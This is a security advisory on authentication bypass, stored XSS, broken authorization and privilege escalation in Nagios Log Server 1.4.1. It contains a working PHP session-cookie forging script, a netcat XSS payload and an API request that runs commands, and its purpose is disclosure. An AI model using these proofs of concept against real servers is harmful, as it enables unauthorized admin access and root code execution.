Nagios Log Server 1.4.1 – Multiple Vulnerabilities
( , ) (, . '.' ) ('. ', ). , ('. ( ) ( (_,) .'), ) _ _, / _____/ / _ \ ____ ____ _____ \____ \==/ /_\ \ _/ ___\/ _ \ / \ / \/ | \\ \__( <_> ) Y Y \ /______ /\___|__ / \___ >____/|__|_| / \/ \/.-. \/ \/:wq (x.0) '=.|w|.=' _=''"''=. presents.. Nagios Log Server Multiple Vulnerabilities Affected versions: Nagios Log Server <= 1.4.1 PDF: http://www.security-assessment.com/files/documents/advisory/NagiosLogServerAdvisory.pdf +-----------+ |Description| +-----------+ The Nagios Log Server application is affected by multiple security vulnerabilities, including authentication bypass, stored cross-site scripting, inconsistent authorization controls and privilege escalation. These vulnerabilities can be chained together to obtain unauthenticated remote code execution in the context of the root user. +------------+ |Exploitation| +------------+ ==Authentication Bypass== Authentication for the Nagios Log Server web management interface can be bypassed due to an insecure implementation of the function validating session cookies within the ‘Session.php’ file. As shown below, the application uses a base64 encoded serialized PHP string along with a SHA1 HMAC checksum as the cookie to authenticate and manage user sessions. A sample cookie format is shown below: a:11:{s:10:"session_id";s:32:"4a6dad39cec8d6a5ef5a1a1d231bf9fa";s:10:"ip_address";s:15:"123.123.123.123"; s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0"; s:13:"last_activity";i:1463700310;s:9:"user_data";s:0:"";s:7:"user_id";s:1:"1";s:8:"username";s:4:"user"; s:5:"email";s:16:"test@example.com";s:12:"ls_logged_in";i:1;s:10:"apisession";i:1;s:8:"language";s:7:"default";}<SHA1-HMAC-CHECKSUM> The application relies on the validation against the SHA1 HMAC to recognize and destroy invalid session cookies when the checksum value does not match. However the encryption key used to generate the HMAC checksum is statically set to the SHA1 hash value of the $_SERVER['HTTP_HOST'] PHP variable, which is the Host HTTP header value. This information can be controlled by the attacker and as such should not be considered a secure randomly generated value for the secret encryption key. Since no further verification is performed for other non-predictable fields (e.g. session_id, apikey, email, username etc.) and only a valid user agent string matching the correct HTTP header value is required, an attacker can forge arbitrary session cookies and bypass authentication. The script on the following page generates session cookies which are accepted and validated successfully by the application. A ‘user_id’ value of 1 can be used to initiate a session in the context of the admin user. [POC - nagiosls_forge_cookie.php] <?php // Usage: php nagiosls_forge_cookie.php [TARGET_IP_ADDRESS/DOMAIN NAME] $host = $argv[1]; <?php $host = $argv[1]; $session = 'a:11:{s:10:"session_id";s:32:"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";s:10:"ip_address";s:15:"123.123.123.123"; s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0";s:13:"last_activity"; i:1463693772;s:9:"user_data";s:0:"";s:7:"user_id";s:1:"1";s:8:"username";s:4:"XXXX";s:5:"email";s:16:"test@example.com"; s:12:"ls_logged_in";i:1;s:10:"apisession";i:1;s:8:"language";s:7:"default";}'; $encryption_key = sha1($host); $hmac_check = hash_hmac('sha1', $session, $encryption_key); $cookie = $session . $hmac_check; echo urlencode($cookie); ?> This vulnerability is present across multiple Nagios products. ==Stored Cross-Site Scripting== The Nagios Log Server application does not validate and HTML encode log data sent by configured sources. This issue is aggravated by the fact that the application does not maintain a list of authorized log sources, but instead accept data from any host connecting to the Nagios Log Server port responsible of collecting logs (TCP 5544). An attacker can exploit this vulnerability to send malicious JavaScript code and execute it in the context of Nagios Log Server user session as shown below. [POC STORED XSS] # echo '<script>alert("xss")</script>' | nc [TARGET IP] 5544 The payload gets rendered under '/nagioslogserver/dashboard'. ==Inconsistent Authorization Controls== The Nagios Log Server application provides intended functionality to define custom alert commands using different configuration options. By default, only administrative users can define alert commands which execute scripts on the Log Server filesystem when an alert is triggered. However, the application does not properly enforce authorization checks and an attacker can access the same functionality in the context of a standard user session by providing the correct payload in the ‘alert’ POST parameter. This functionality can be abused to obtain remote code execution on the target system as the application does not restrict the script definition to a single folder and an attacker can specify absolute paths to any script or executable file present on the Log Server host. [POC - CREATE COMMAND EXECUTION ALERT] URL => /nagioslogserver/api/check/create/1 Method => POST Payload => alert={"name"%3a"StduserAlertTest","check_interval"%3a"1m","lookback_period"%3a"1m","warning"%3a"1", "critical"%3a"1","method"%3a{"type"%3a"exec","path"%3a"/bin/touch", "args"%3a"/tmp/STDUSER"},"alert_crit_only"%3a0,"created_by"%3a"stduser","query_id"%3a"AVTLGmd-GYGKrkWMo5Tc"} ==Privilege Escalation== The default Log Server application sudoers configuration allows the ‘apache’ user to run the ‘get_logstash_ports.sh’ script as root without being prompted for a password. However insecure file write permissions have been granted to the 'nagios' group for the ‘get_logstash_ports.sh’ script file. Since the apache user is a member of the 'nagios' group, an attacker can overwrite the script contents with arbitrary data. Details about the script with insecure permissions are provided below: PATH => /usr/local/nagioslogserver/scripts/get_logstash_ports.sh PERMISSIONS => rwxrwxr-x nagios nagios +----------+ | Solution | +----------+ Upgrade to Nagios Log Server 1.4.2 +------------+ | Timeline | +------------+ 2/06/2016 – Initial disclosure to vendor 3/06/2016 – Vendor acknowledges receipt of advisory 22/07/2016 – Vendor releases patched software version 11/08/2016 – Public disclosure +------------+ | Additional | +------------+ Further information is available in the accompanying PDF. http://www.security-assessment.com/files/documents/advisory/NagiosLogServerAdvisory.pdf |